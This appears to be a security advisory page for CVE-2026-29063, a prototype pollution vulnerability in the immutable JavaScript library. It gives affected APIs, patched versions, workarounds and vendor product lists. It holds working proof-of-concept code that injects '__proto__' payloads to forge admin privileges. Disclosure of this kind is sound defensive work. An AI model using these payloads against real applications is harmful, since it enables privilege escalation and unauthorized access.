NetSight
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critical9.8

CVE-2026-29063

Immutable is vulnerable to Prototype Pollution

Impact

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)

Affected packages

EcosystemPackageAffectedFixed in
npmimmutable>= 5.0.0, < 5.1.55.1.5

Affected products

VendorProductAffected versions
Immutable-JsImmutable
from 3.0.0 before 3.8.3
from 4.0.0 before 4.3.8
from 5.0.0 before 5.1.5
Redhat3scale Api Management Platform
Version 2.0
RedhatAdvanced Cluster Management For Kubernetes
from 2.14 before 2.14.3
from 2.15 before 2.15.2
from 2.16 before 2.16.1
RedhatAdvanced Cluster Security
from 4.8.0 before 4.8.11
from 4.9.0 before 4.9.6
from 4.10.0 before 4.10.2
RedhatAnsible Automation Platform
Version 2.0
RedhatBuild Of Apicurio Registry
Version 2.0
RedhatConnectivity Link
Version 1.0
RedhatDeveloper Hub
from 1.8.0 before 1.8.6
from 1.9.0 before 1.9.4
RedhatDiscovery
Version 2.0
RedhatEdge Manager
from 1.0 before 1.0.3
from 1.1 before 1.1.3
RedhatLogging Subsystem For Red Hat Openshift
All versions
RedhatMigration Toolkit
Version 1.8

Weakness classification

CWE-1321CWE-915

References